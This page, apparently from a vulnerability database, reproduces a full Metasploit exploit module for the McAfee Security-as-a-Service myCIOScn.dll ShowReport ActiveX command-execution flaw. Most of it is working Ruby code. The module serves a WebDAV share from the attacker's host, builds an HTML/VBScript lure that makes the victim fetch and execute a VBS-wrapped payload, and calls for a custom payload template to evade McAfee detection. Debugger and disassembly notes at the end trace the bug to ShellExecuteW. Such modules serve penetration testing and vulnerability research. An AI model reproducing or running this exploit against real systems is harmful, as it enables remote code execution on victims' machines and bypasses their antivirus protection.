Lucene search
K

McAfee SaaS MyCioScan ShowReport Remote Command Execution

🗓️ 18 Jan 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

McAfee SaaS MyCioScan ShowReport Remote Command Execution vulnerability in the myCIOScn.dll ActiveX component allows remote attackers to execute arbitrary code by manipulating the FileName argument and executing a malicious process. A custom payload template is necessary to bypass McAfee detection

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
            'Description'    => %q{
                    This module exploits a vulnerability found in McAfee Security-as-a-Service.
                The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
                to check the FileName argument, and passes it on to a ShellExecuteW() function,
                therefore allows any malicious attacker to execute any process that's on the
                local system.  However, if the victim machine is connected to a remote share (
                or something similiar), then it's also possible to execute arbitrary code.
                Please note that a custom template is required for the payload, because the
                default Metasploit template is detectable by McAfee -- any Windows binary, such
                as calc.exe or notepad.exe, should bypass McAfee fine.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod',    #Initial discovery
                    'sinn3r',  #Metasploit
                ],
            'References'     =>
                [
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none",
                    #'InitialAutoRunScript' => 'migrate -f',
                    'DisablePayloadHandler' => 'false',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Internet Explorer', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Apr 1 2011",
            'DefaultTarget'  => 0))
 
        register_options([
            OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
            OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
            OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
            OptString.new('FILENAME',  [ true, 'The file name.', 'msf.html']),
            OptPath.new('TEMPLATE',    [true, 'A custom template for the payload in order to bypass McAfee', ''])
        ], self.class)
    end
 
    def on_request_uri(cli, request)
        case request.method
        when 'OPTIONS'
            process_options(cli, request)
        when 'PROPFIND'
            process_propfind(cli, request)
        when 'GET'
            process_get(cli, request)
        else
            print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
            resp = create_response(404, "Not Found")
            resp.body = ""
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
        end
    end
 
    def process_get(cli, request)
        print_status("URI requested: #{request.uri.to_s}")
 
        if request.uri =~ /\.vbs$/i
            # Depending on the connection speed, this might take a moment to transfer the
            # payload and actually get executed
            send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
            print_status("executable sent")
        else
            # Don't know the request, return not found
            print_error("Don't care about this file, 404")
            send_not_found(cli)
        end
 
        return
    end
 
    def process_options(cli, request)
        vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
        headers = {
            'MS-Author-Via' => 'DAV',
            'DASL'          => '<DAV:sql>',
            'DAV'           => '1, 2',
            'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
            'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
            'Cache-Control' => 'private'
        }
 
        resp = create_response(207, "Multi-Status")
        headers.each_pair {|k,v| resp[k] = v }
        resp.body = ''
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end
 
    def process_propfind(cli, request)
        path = request.uri
        vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
        body = ''
 
        my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        my_uri  = "http://#{my_host}/"
 
        if path !~ /\/$/
            if path.index(".")
                print_status("Sending 404 for #{path} ...")
                resp = create_response(404, "Not Found")
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            else
                print_status("Sending 301 for #{path} ...")
                resp = create_response(301, "Moved")
                resp["Location"] = path + "/"
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            end
        end
 
        print_status("Sending directory multistatus for #{path} ...")
 
        body = <<-BODY
        <?xml version="1.0" encoding="utf-8"?>
        <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
        <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
        <D:href>#{path}</D:href>
        <D:propstat>
        <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
        <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
        <D:lockentry>
        <D:lockscope><D:exclusive/></D:lockscope>
        <D:locktype><D:write/></D:locktype>
        </D:lockentry>
        <D:lockentry>
        <D:lockscope><D:shared/></D:lockscope>
        <D:locktype><D:write/></D:locktype>
        </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
        </D:propstat>
        </D:response>
        BODY
 
        body = body.gsub(/^\t\t/, '')
 
        if request["Depth"].to_i > 0
            if path.scan("/").length < 2
                body << generate_shares(path)
            else
                # Set payload name, and set the hidden attribute.  True means visible
                filenames = [ [@vbs_name, false] ]
                body << generate_files(path, filenames)
            end
        end
 
        body << "</D:multistatus>"
 
        body.gsub!(/\t/, '')
 
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
    end
 
    def gen_timestamp(ttype=nil)
        ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    end
 
    def gen_datestamp(ttype=nil)
        ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    end
 
    def generate_shares(path)
        share_name = datastore['SHARENAME']
        share = <<-SHARE
        <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
        <D:href>#{path}#{share_name}/</D:href>
        <D:propstat>
        <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
        <D:lockentry>
        <D:lockscope><D:exclusive/></D:lockscope>
        <D:locktype><D:write/></D:locktype>
        </D:lockentry>
        <D:lockentry>
        <D:lockscope><D:shared/></D:lockscope>
        <D:locktype><D:write/></D:locktype>
        </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
        </D:propstat>
        </D:response>
        SHARE
        share = share.gsub(/^\t\t/, '')
        return share
    end
 
    def generate_files(path, items)
        trail = path.split("/")
        return "" if trail.length < 2
 
        files = ""
        items.each do |f, hide|
            h = hide ? '1' : '0'
            files << <<-FILES
            <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
            <D:href>#{path}#{f}</D:href>
            <D:propstat>
            <D:prop>
            <lp1:resourcetype/>
            <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
            <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
            <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
            <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
            <lp2:executable>T</lp2:executable>
            <D:supportedlock>
            <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
            </D:lockentry>
            <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
            </D:lockentry>
            </D:supportedlock>
            <D:lockdiscovery/>
            <D:getcontenttype>application/octet-stream</D:getcontenttype>
            </D:prop>
            <D:status>HTTP/1.1 200 OK</D:status>
            <D:ishidden b:dt="boolean">#{h}</D:ishidden>
            </D:propstat>
            </D:response>
            FILES
        end
 
        files = files.gsub(/^\t\t\t/, '')
 
        return files
    end
 
    def get_payload
        fname = rand_text_alpha(5) + ".vbs"
        p = payload.encoded
        exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
        vbs = Msf::Util::EXE.to_exe_vbs(exe)
        return fname, vbs
    end
 
    def exploit
        @vbs_name, @vbs = get_payload
 
        #
        # progid: MYCIOSCNLib.Scan
        # clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
        #
        myhost   = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
        obj_name = rand_text_alpha(rand(6) + 3)
        sub_name = rand_text_alpha(rand(6) + 3)
        html = <<-HTML
        <html>
        <head>
        </head>
        <body>
        <object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
        <script language='vbscript'>
        sub #{sub_name}
        #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
        end sub
 
        #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
        window.setTimeout "#{sub_name}", 1000
        </script>
        </body>
        </html>
        HTML
 
        html = html.gsub(/^\t\t/, '')
        file_create(html)
        print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")
 
        super
    end
 
end
 
=begin
myCIOScn!CScnXml::SetNumScanned+0x19ab:
2101caf9 55              push    ebp
 
0:003> lmv m myCIOScn
start    end        module name
21000000 2106d000   myCIOScn   (export symbols)       C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    Image name: myCIOScn.dll
    Timestamp:        Wed Aug 10 11:34:01 2011 (4E42CF19)
    CheckSum:         0007C3A6
    ImageSize:        0006D000
    File version:     5.2.3.104
    Product version:  5.2.0.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      McAfee, Inc.
    ProductName:      McAfee® Security-as-a-Service
    InternalName:     myCioScn
    OriginalFilename: myCioScn.DLL
    ProductVersion:   5.2.3
    FileVersion:      5.2.3.104
    PrivateBuild:     5.2.3.104
    SpecialBuild:     FULL
    FileDescription:  myCioScn Module
 
.text:2101CB1A                 push    esi
.text:2101CB1B                 push    1
.text:2101CB1D                 xor     esi, esi
.text:2101CB1F                 push    esi
.text:2101CB20                 push    esi
.text:2101CB21                 push    eax             ; we own this
.text:2101CB22                 push    offset aOpen    ; "open"
.text:2101CB27                 push    esi
.text:2101CB28                 mov     [ebp+0A50h+Str], eax
.text:2101CB2B                 call    off_2105D350    ; ShellExecuteW
=end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation